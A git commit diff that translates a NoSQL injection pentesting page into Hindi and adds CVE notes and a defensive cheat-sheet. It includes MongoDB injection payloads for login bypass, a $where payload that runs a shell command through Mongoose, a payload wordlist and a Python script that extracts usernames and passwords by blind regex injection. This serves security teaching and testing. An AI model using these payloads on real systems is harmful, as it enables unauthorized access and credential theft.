Translated ['src/pentesting-web/nosql-injection.md'] to hi

This commit is contained in:
Translator 2025-08-14 00:36:42 +00:00
parent 7392c3765e
commit 902a3f9ab8

View File

@ -4,7 +4,7 @@
## Exploit
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर।
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter[arrName]=foo_ में बदलकर।
शोषण **Operator** जोड़ने पर आधारित हैं:
```bash
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता के साथ शर्त को संतुष्ट करती है (`'a'=='a'`)। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं।
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -114,9 +114,43 @@ in JSON
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## Recent CVEs & Real-World Exploits (2023-2025)
### Rocket.Chat unauthenticated blind NoSQLi CVE-2023-28359
संस्करण ≤ 6.0.0 ने Meteor विधि `listEmojiCustom` को उजागर किया जो एक उपयोगकर्ता-नियंत्रित **selector** ऑब्जेक्ट को सीधे `find()` पर अग्रेषित करता था। ऑपरेटर जैसे `{"$where":"sleep(2000)||true"}` को इंजेक्ट करके एक अनधिकृत हमलावर एक टाइमिंग ऑरेकल बना सकता था और दस्तावेज़ों को एक्सफिल्ट्रेट कर सकता था। इस बग को 6.0.1 में चयनकर्ता के आकार को मान्य करके और खतरनाक ऑपरेटरों को हटाकर पैच किया गया।
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 & CVE-2025-23061
जब `populate()` का उपयोग `match` विकल्प के साथ किया जाता है, Mongoose (≤ 8.8.2) ने ऑब्जेक्ट को *भेजने से पहले* शाब्दिक रूप से कॉपी किया। इसलिए `$where` प्रदान करने पर JavaScript **Node.js के अंदर** निष्पादित होता है, भले ही सर्वर-साइड JS MongoDB पर अक्षम हो।
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
पहला पैच (8.8.3) ने शीर्ष स्तर के `$where` को ब्लॉक कर दिया, लेकिन इसे `$or` के तहत नेस्ट करने से फ़िल्टर को बायपास किया गया, जिससे CVE-2025-23061 हुआ। इस समस्या को 8.9.5 में पूरी तरह से ठीक किया गया, और एक नया कनेक्शन विकल्प `sanitizeFilter: true` पेश किया गया।
### GraphQL → Mongo फ़िल्टर भ्रम
Resolvers जो `args.filter` को सीधे `collection.find()` में फॉरवर्ड करते हैं, वे कमजोर बने रहते हैं:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
Mitigations: `$` से शुरू होने वाले कुंजी को पुनरावृत्त रूप से स्ट्रिप करें, अनुमत ऑपरेटरों को स्पष्ट रूप से मैप करें, या स्कीमा लाइब्रेरी (Joi, Zod) के साथ मान्य करें।
## Defensive Cheat-Sheet (updated 2025)
1. किसी भी कुंजी को स्ट्रिप या अस्वीकार करें जो `$` से शुरू होती है (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`)।
2. स्वयं-होस्टेड MongoDB पर सर्वर-साइड JavaScript को निष्क्रिय करें (`--noscripting`, v7.0+ में डिफ़ॉल्ट)।
3. `$where` के बजाय `$expr` और एग्रीगेशन बिल्डर्स को प्राथमिकता दें।
4. डेटा प्रकारों को जल्दी मान्य करें (Joi/Ajv) और उन स्थानों पर एरे की अनुमति न दें जहां स्केलर्स की अपेक्षा की जाती है ताकि `[$ne]` ट्रिक्स से बचा जा सके।
5. GraphQL के लिए, फ़िल्टर तर्कों का अनुवाद एक अनुमति-सूची के माध्यम से करें; कभी भी अविश्वसनीय वस्तुओं को फैलाएं नहीं।
## MongoDB Payloads
सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -193,6 +227,7 @@ url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
@ -225,9 +260,10 @@ for u in get_usernames(""):
get_password(u)
```
## Tools
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## References
@ -236,5 +272,7 @@ get_password(u)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}}